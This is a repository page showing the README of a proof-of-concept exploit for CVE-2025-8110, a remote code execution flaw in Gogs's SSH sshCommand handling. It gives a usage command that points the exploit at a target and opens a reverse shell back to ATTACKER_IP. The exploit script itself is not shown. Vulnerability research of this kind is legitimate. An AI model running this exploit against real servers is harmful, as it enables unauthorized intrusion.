gogs-CVE-2025-8110

KO | EN

gitlite — search

#typescript #ai-agents #ai #dsh-plugin #deepseek-harness #open-source #claude-code #codex #cli #developer-tools #react #windows

gogs-CVE-2025-8110

★ 29 Open GitHub ↗

CVE-2025-8110 PoC

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# Gogs CVE-2025-8110 PoC

This repository contains a Proof of Concept (PoC) for CVE-2025-8110, a Remote Code Execution (RCE) vulnerability in Gogs. The exploit targets the internal SSH server implementation, allowing attackers to inject malicious commands via the `sshCommand` configuration.

## Usage

To run the exploit, use the `CVE-2025-8110.py` script with the target Gogs URL and your listening host/port for the reverse shell.

```bash
python3 CVE-2025-8110.py -u <TARGET_URL> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>
```

### Arguments

- `-u`, `--url`: Base URL of the target Gogs instance (e.g., `http://localhost:3000`).
- `-lh`, `--host`: IP address where the reverse shell should connect back to.
- `-lp`, `--port`: Port where the reverse shell should connect back to.
- `-x`, `--proxy`: (Optional) Use a local proxy at `http://localhost:8080` for debugging.

## Legal Disclaimer

This Proof of Concept (PoC) is for educational and research purposes only. It is intended to help security researchers and administrators understand and mitigate the CVE-2025-8110 vulnerability.

The author takes no responsibility for any unauthorized or malicious use of this code. Use this tool only on systems you own or have explicit permission to test. By using this code, you agree to take full responsibility for your actions.

gogs-CVE-2025-8110

Explore Similar Repositories

Was this content helpful?

Recent Feedback

Download README